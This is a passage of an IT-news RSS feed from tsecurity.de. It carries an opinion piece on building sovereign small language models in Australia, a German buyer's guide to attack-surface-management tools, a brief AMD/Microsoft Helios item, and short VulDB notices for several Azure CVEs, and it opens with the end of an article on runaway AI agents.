<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD adds Microsoft to its growing roster of Helios customers as firm launches three new VMs for Azure customers]]></title>
<description><![CDATA[The collaboration marks the latest big tech customer for AMD’s “game changer” Helios system]]></description>
<link>https://tsecurity.de/de/3683200/it-security-nachrichten/amd-adds-microsoft-to-its-growing-roster-of-helios-customers-as-firm-launches-three-new-vms-for-azure-customers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683200/it-security-nachrichten/amd-adds-microsoft-to-its-growing-roster-of-helios-customers-as-firm-launches-three-new-vms-for-azure-customers/</guid>
<pubDate>Tue, 21 Jul 2026 11:39:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The collaboration marks the latest big tech customer for AMD’s “game changer” Helios system]]></content:encoded>
</item>
<item>
<title><![CDATA[Attack Surface Management – ein Kaufratgeber]]></title>
<description><![CDATA[Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafür, dass sich Angreifer gar nicht erst verbeißen.Sergey Zaykov | shutterstock.com



Regelmäßige Netzwerk-Scans reichen für eine gehärtete Angriffsfläche nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundenda...]]></description>
<link>https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/</guid>
<pubDate>Tue, 21 Jul 2026 06:24:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/Sergey-Zaykov-shutterstock_1617411478_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Cat Bite 16z9" class="wp-image-4082002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafür, dass sich Angreifer gar nicht erst verbeißen.</figcaption></figure><p class="imageCredit">Sergey Zaykov | shutterstock.com</p></div>



<p class="wp-block-paragraph">Regelmäßige Netzwerk-Scans reichen für eine gehärtete Angriffsfläche nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundendaten zu gewährleisten, ist eine kontinuierliche Überwachung auf neue Ressourcen und Konfigurationsabweichungen erforderlich. Werkzeuge aus den Bereichen <strong>Cyber Asset Attack Surface Management (CAASM)</strong> sowie <strong>External Attack Surface Management (EASM)</strong> sind darauf ausgelegt, die Angriffsfläche von Unternehmen:</p>



<ul class="wp-block-list">
<li><p> zu quantifizieren,</p></li>



<li><p> zu minimieren, und</p></li>



<li><p> zu härten.</p></li>
</ul>



<p class="wp-block-paragraph">Das Ziel besteht dabei darin, den Angreifern <a title="möglichst wenig Informationen" href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">möglichst wenig Informationen</a> über das Security-Niveau des Unternehmens zu geben und gleichzeitig kritische Business Services aufrechtzuerhalten. Dabei spielt inzwischen auch Agentic AI eine immer größere Rolle. </p>



<h2 class="wp-block-heading">12 Attack-Surface-Management-Tools</h2>



<p class="wp-block-paragraph">Die folgenden zwölf Lösungen unterstützen Sie dabei, Risiken zu identifizieren und zu managen.</p>



<p class="wp-block-paragraph"><a href="https://www.axonius.com/platform" target="_blank" rel="noreferrer noopener"><strong>Axonius Cyber Asset Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Diese CAASM-Suite von Axonius deckt alle wichtigen Aspekte ab, wenn es um Attack Surface Monitoring geht. Das Tool erstellt zunächst ein Asset-Inventar, das automatisch aktualisiert und mit Kontext aus internen Datenquellen und Ressourcen angereichert wird.</p>



<p class="wp-block-paragraph">Dabei ist es auch möglich, Monitoring-Prozesse aufzusetzen, die auf Grundlage von Richtlinien wie PCI oder HIPAA ablaufen. So lassen sich Konfigurationen oder Schwachstellen identifizieren, die diesen zuwiderlaufen und entsprechende Maßnahmen ergreifen.</p>



<p class="wp-block-paragraph"><a href="https://www.bugcrowd.com/products/attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Bugcrowd EASM</strong></a></p>



<p class="wp-block-paragraph">Bugcrowd hat im Mai 2024 Informer.io übernommen und dessen EASM-Angebot in seine Security-Plattform integriert. Diese automatisiert die Asset Discovery über Webapplikationen, APIs und andere “public facing”-Komponenten des IT-Stacks hinweg.</p>



<p class="wp-block-paragraph">Assets überwacht die Lösung kontinuierlich, wobei identifizierte Risiken in Echtzeit priorisiert werden. Darüber hinaus stehen auch Zusatz-Services wie manuelle Risikoprüfungen oder Penetrationstests zur Verfügung. Das Workflow-basierte Response-System der Lösung verspricht eine einfachere Einbindung mehrerer Teams, indem existierende Ticketing- und Kommunikations-Tools integriert werden. Praktisch ist auch die Möglichkeit, Konfigurationsänderungen oder System Updates zu validieren, um sicherzustellen, dass identifizierte Bedrohungen tatsächlich bereinigt wurden.  </p>



<p class="wp-block-paragraph"><a href="https://www.crowdstrike.com/products/security-and-it-operations/falcon-surface/" target="_blank" rel="noreferrer noopener"><strong>CrowdStrike Falcon Exposure Management</strong></a></p>



<p class="wp-block-paragraph">Crowdstrike hat sein Falcon-Surface-Angebot von einem Standalone EASM-Tool zu einem Kernbestandteil von Falcon Exposure Management ausgebaut. Die Lösung wird nun auch durch KI-nativen Code dabei unterstützt, Risiken zu identifizieren und auszuschalten. Darüber hinaus kommt die Technologie auch für Adversarial-AI-Szenarien zum Einsatz.</p>



<p class="wp-block-paragraph">Die Crowdstrike-Lösung kann außerdem:</p>



<ul class="wp-block-list">
<li>Risiken mit dem Business-Kontext korrelieren,</li>



<li>die Ausnutzbarkeit validieren und</li>



<li>direkte Abhilfemaßnahmen über die Falcon-Plattform einleiten.</li>
</ul>



<p class="wp-block-paragraph">Unternehmen sollen sich mit dem Tool einen nachhaltigen Überblick über ihre Angriffsfläche verschaffen und Risiken oder Bedrohungen mit einer Vielzahl von Techniken aufspüren können. Dazu gehören etwa aktive, passive und API-basierte Scans, um mit dem Internet verbundene Ressourcen zu identifizieren.</p>



<p class="wp-block-paragraph">Falcon Exposure Management ist nicht Teil des Enterprise-Softwarepakets von Crowdstrike. Es kann als Abonnementlizenz auf Basis der gemanagten Endpunkte erworben werden.</p>



<p class="wp-block-paragraph"><a href="https://www.cycognito.com/attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>CyCognito Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Das CAASM-Produkt von CyCognito bietet eine kontinuierliche Überwachung und Inventarisierung von Assets. Dabei spielt es keine Rolle, ob diese On-Premises, in der Cloud, bei einem Drittanbieter oder einer Tochtergesellschaft vorliegen.</p>



<p class="wp-block-paragraph">Um den Triage-Prozess und die Risiko-Priorisierung zu erleichtern, kann auch Business-Kontext hinzugefügt werden (beispielsweise Beziehungen zwischen einzelnen Assets). Das hilft dabei, sich auf die wichtigsten Netzwerkrisiken zu konzentrieren. CyCognitos Tool verfolgt darüber hinaus auch Konfigurationsänderungen und ermöglicht so, neue Risiken für die Unternehmensinfrastruktur schnell zu identifizieren.</p>



<p class="wp-block-paragraph"><a href="https://www.jupiterone.com/cyber-asset-attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>JupiterOne Cyber Asset Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">JupiterOne preist seine CAASM-Lösung als eine Möglichkeit an, “Cyber-Asset-Daten nahtlos in einer einheitlichen Ansicht zu aggregieren”. Der Kontext wird bei Bedarf automatisch hinzugefügt, und die Beziehungen zwischen den Assets können definiert und optimiert werden, um <a href="https://www.csoonline.com/article/3495294/schwachstellen-managen-die-6-besten-vulnerability-management-tools.html" target="_blank">Schwachstellenanalyse</a> und Incident-Response-Fähigkeiten zu verbessern.</p>



<p class="wp-block-paragraph">Benutzerdefinierte Abfragen ermöglichen es Cybersecurity-Teams, komplexe Fragen zu beantworten, während der Asset-Bestand über eine interaktive Map durchsucht werden kann. Die Security-Tools, in die Sie bereits investiert haben, können Sie integrieren – was eine ganzheitliche, zentralisierte Perspektive auf das Security-Niveau zulässt.</p>



<p class="wp-block-paragraph"><a href="https://azure.microsoft.com/de-de/products/defender-external-attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Microsoft Defender External Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Microsoft Defender EASM erkennt nicht verwaltete Assets und Ressourcen, die per Schatten-IT bereitgestellt werden oder sich auf anderen Cloud-Plattformen befinden. Sobald die Assets und Ressourcen identifiziert sind, sucht das Tool nach Schwachstellen auf jeder Ebene des Technologie-Stacks, einschließlich der zugrunde liegenden Plattform, App-Frameworks, Webanwendungen, Komponenten und des Kerncodes.</p>



<p class="wp-block-paragraph">Defender EASM ermöglicht es IT-Profis, Schwachstellen in neu entdeckten Ressourcen schnell zu beheben, indem diese nach Entdeckung in Echtzeit kategorisiert und priorisiert werden. Naturgemäß lässt sich Defender EASM eng mit anderen Microsoft-Lösungen wie Security Copilot integrieren.</p>



<p class="wp-block-paragraph"><a href="https://outpost24.com/products/external-attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Outpost24 EASM</strong></a></p>



<p class="wp-block-paragraph">Der schwedische Anbieter Outpost24 hat 2023 den belgischen EASM-Anbieter Sweepatic übernommen und dessen Tool in seine Modul-Kollektion für Threat Intelligence, Data Leakage und Pentesting integriert. Diese EASM-Lösung ist sowohl Standalone, als auch als Managed Service erhältlich und kann Daten entweder passiv über DNS und andere TCP/IP-Details oder über direkte Verbindungen zu Cloud-Anbietern wie AWS und Azure sowie den Lösungen großer Softwareanbieter (etwa ServiceNow, Slack oder Atlassian) erfassen.</p>



<p class="wp-block-paragraph"><a href="https://www.paloaltonetworks.com/cortex/cortex-xpanse" target="_blank" rel="noreferrer noopener"><strong>Palo Alto Networks Cortex Xpanse</strong></a></p>



<p class="wp-block-paragraph">Xpanse ist Teil der XSIAM-Produktsuite von Palo Alto, kann jedoch auch separat erworben werden. Das Standalone-Produkt hat allerdings einen etwas geringeren Funktionsumfang.</p>



<p class="wp-block-paragraph">Das Palo-Alto-Tool unterstützt auch die Integration mit Tools von Drittanbietern wie Qualys, Jira und ServiceNow. Zudem verfügt das Produkt über eine beeindruckende Auswahl an vorgefertigten Detection-Regeln, Widgets, um Queries und Discovery-Routinen zu erstellen und anpassbare Daten-Dashboards aufzusetzen.</p>



<p class="wp-block-paragraph"><a href="https://www.rapid7.com/de/products/command/attack-surface-management-asm/" target="_blank" rel="noreferrer noopener"><strong>Rapid7 Surface Command</strong></a></p>



<p class="wp-block-paragraph">Surface Command ist nur eines von zahlreichen Modulen, das Rapid7 im Angebot hat (unter anderem Vulnerability und Incident Management sowie Cloud-Native Security). Das Tool bringt Threat Exposure, Detection und Response unter einen Nenner und verspricht eine kontinuierliche „Vogelperspektive“ über sämtliche Schwachstellen – vom Endpunkt bis hin zur Cloud.</p>



<p class="wp-block-paragraph">Das Rapid-7-Tool ist darauf konzipiert, blinde Flecken in der Security aufzuspüren sowie Reaktion und Behebung zu beschleunigen. Für letzteres sind zudem auch agentenbasierte KI-Funktionen enthalten.</p>



<p class="wp-block-paragraph"><a href="https://riskprofiler.io/" target="_blank" rel="noreferrer noopener"><strong>RiskProfiler EASM</strong></a></p>



<p class="wp-block-paragraph">Über die RiskProfiler-Plattform lassen sich sämtliche externen Bedrohungen managen. Das Tool ermöglicht beispielsweise <a href="https://www.computerwoche.de/article/3495708/bedrohungs-monitoring-die-10-besten-tools-zur-darknet-uberwachung.html" target="_blank">Dark-Web-Monitoring</a>, digitales Monitoring sowie Hacking-Kampagnen, Schwachstellen und Supply-Chain-Angriffe zu tracken. Die hieraus gewonnenen Bedrohungsinformationen werden von KI-Agenten zu einem einheitlichen Korpus verdichtet.</p>



<p class="wp-block-paragraph">Bestandteil des Tools sind zudem mehr als 13.000 vorinstallierte Regeln, die sowohl Open-Source- als auch eigene proprietäre Algorithmen miteinander verbinden. Auch die Risikobewertungen von Drittanbietern werden analysiert. Ein anpassbares Management-Dashboard visualisiert die Daten in diversen Ansichten. </p>



<p class="wp-block-paragraph"><a href="https://socradar.io/suites/attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>SOCRadar AttackMapper</strong></a></p>



<p class="wp-block-paragraph">Mit AttackMapper (ein Teil der Tool-Suite für SOC-Teams), will SOCRadar, den Anwendern die Sicht der Angreifer auf die Assets ermöglichen. Das Tool überwacht Assets mithilfe von Agentic AI dynamisch in Echtzeit, identifiziert neue oder veränderte und analysiert sie auf potenzielle Schwachstellen.</p>



<p class="wp-block-paragraph">Die Ergebnisse werden mit bekannten Angriffsmethoden korreliert, um den Entscheidungsfindungs- und Triageprozess zu unterstützen. Dabei überwacht AttackMapper nicht nur Endpunkte und Software Vulnerabilities, sondern auch SSL-Schwachstellen, abgelaufene Zertifikate, DNS-Einträge und Konfigurationen. Das Tool erkennt selbst Website-Defacement-Angriffe, was entscheidend sein kann, um die Markenreputation zu schützen.</p>



<p class="wp-block-paragraph"><a href="https://de.tenable.com/products/attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>Tenable Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Tenable hat schon seit einigen Jahren Tools im Angebot, um Schwachstellen aufzuspüren – und auch die aktuelle Tool-Suite wird modernen IT-Sicherheitsanforderungen gerecht. Bei Tenable Attack Surface Management handelt es sich um das EASM-Modul des Unternehmens, das in dessen Exposure-Management-Plattform „One“ integriert ist.</p>



<p class="wp-block-paragraph">Tenable Attack Surface Management liefert Kontext und Details zu Assets und Schwachstellen, allerdings nicht nur aus technischer Sicht, sondern auch auf Business-Ebene, was für eine umfassende Priorisierung der Maßnahmen erforderlich ist.</p>



<h2 class="wp-block-heading">7 Fragen vor dem ASM-Invest</h2>



<p class="wp-block-paragraph">Die folgenden Fragen sollten Sie sich und potenziellen Anbietern von Attack-Surface-Management-Lösungen stellen, bevor Sie einen Vertrag unterzeichnen.</p>



<ul class="wp-block-list">
<li><strong>Benötigt unser Unternehmen eine EASM- oder eine CAASM-Lösung?</strong> Die Antwort darauf hängt davon ab, ob Sie nach internen oder externen Angreifern suchen – und wie groß der Anteil Ihrer lokalen Infrastruktur ist.</li>



<li><strong>Wie umfangreich – und effektiv – ist das Tool automatisiert?</strong> Erkennt es zuverlässig alle anfälligen Ressoucren, einschließlich digitaler Zertifikate, offengelegter Anmeldedaten und mit dem Netz verbundene Server und Services? Welche Metadaten und weiteren Details liefert die Lösung?  </li>



<li><strong>Wie behebt die Lösung Schwachstellen, wenn sie welche findet?</strong> Läuft das automatisiert ab oder sind manuelle Eingriffe erforderlich?</li>



<li><strong>Unterstützt das Tool Continuous Monitoring?</strong> Und falls ja: Wie werden Veränderungen nachgehalten?</li>



<li><strong>Welche Schwachstellen werden wie mit anderen SOC-Tools geteilt oder integriert?</strong></li>



<li><strong>Gibt es unterschiedliche Dashboards für Management- und andere Zwecke?</strong> Beziehungsweise: Wie lässt sich das Tool auf unterschiedliche Benutzergruppen anpassen?</li>



<li><strong>Wie sieht ihre Preisgestaltung im Detail aus?</strong> Stellen Sie sicher, dass Sie das Preisgefüge des Anbieters Ihrer Wahl wirklich verstehen. In den meisten Fällen sind Sie dabei mit komplexen, nutzungsabhängigen Abrechnungsmodellen konfrontiert.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.csoonline.com/article/574797/9-attack-surface-discovery-and-management-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35252 | Microsoft Azure Storage Movement Client Library unmaintained third party components]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Storage Movement Client Library. It has been classified as critical. Affected by this issue is some unknown functionality. The manipulation leads to use of unmaintained third party components.

This vulnerability is traded as CVE-2024-35252. It is poss...]]></description>
<link>https://tsecurity.de/de/3682481/sicherheitsluecken/cve-2024-35252-microsoft-azure-storage-movement-client-library-unmaintained-third-party-components/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682481/sicherheitsluecken/cve-2024-35252-microsoft-azure-storage-movement-client-library-unmaintained-third-party-components/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:43 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_storage_movement_client_library">Microsoft Azure Storage Movement Client Library</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality. The manipulation leads to use of unmaintained third party components.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2024-35252">CVE-2024-35252</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is suggested to install a patch to address this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35254 | Microsoft Azure Monitor Agent link following (EUVD-2024-35763)]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Monitor Agent. It has been rated as critical. This vulnerability affects unknown code. This manipulation causes link following.

This vulnerability is handled as CVE-2024-35254. It is possible to launch the attack on the local host. There is not any ex...]]></description>
<link>https://tsecurity.de/de/3682479/sicherheitsluecken/cve-2024-35254-microsoft-azure-monitor-agent-link-following-euvd-2024-35763/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682479/sicherheitsluecken/cve-2024-35254-microsoft-azure-monitor-agent-link-following-euvd-2024-35763/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_monitor_agent">Microsoft Azure Monitor Agent</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. This vulnerability affects unknown code. This manipulation causes link following.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2024-35254">CVE-2024-35254</a>. It is possible to launch the attack on the local host. There is not any exploit available.

To fix this issue, it is recommended to deploy a patch.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35253 | Microsoft Azure File Sync link following (EUVD-2024-35762)]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure File Sync. It has been declared as problematic. This affects an unknown part. The manipulation results in link following.

This vulnerability is known as CVE-2024-35253. Attacking locally is a requirement. No exploit is available.

A patch should be ap...]]></description>
<link>https://tsecurity.de/de/3682477/sicherheitsluecken/cve-2024-35253-microsoft-azure-file-sync-link-following-euvd-2024-35762/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682477/sicherheitsluecken/cve-2024-35253-microsoft-azure-file-sync-link-following-euvd-2024-35762/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:38 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_file_sync">Microsoft Azure File Sync</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part. The manipulation results in link following.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2024-35253">CVE-2024-35253</a>. Attacking locally is a requirement. No exploit is available.

A patch should be applied to remediate this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-37325 | Microsoft Azure Science Virtual Machine on Linux information disclosure (EUVD-2024-36986)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Microsoft Azure Science Virtual Machine on Linux. The affected element is an unknown function. Executing a manipulation can lead to information disclosure.

The identification of this vulnerability is CVE-2024-37325. The attack may be launched...]]></description>
<link>https://tsecurity.de/de/3682476/sicherheitsluecken/cve-2024-37325-microsoft-azure-science-virtual-machine-on-linux-information-disclosure-euvd-2024-36986/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682476/sicherheitsluecken/cve-2024-37325-microsoft-azure-science-virtual-machine-on-linux-information-disclosure-euvd-2024-36986/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:36 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_science_virtual_machine">Microsoft Azure Science Virtual Machine</a> on Linux. The affected element is an unknown function. Executing a manipulation can lead to information disclosure.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2024-37325">CVE-2024-37325</a>. The attack may be launched remotely. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35255 | Microsoft Azure Identity Library race condition (Nessus ID 216962)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Microsoft Azure Identity Library and Microsoft Authentication Library. This vulnerability affects unknown code. Executing a manipulation can lead to race condition.

This vulnerability appears as CVE-2024-35255. The attack require...]]></description>
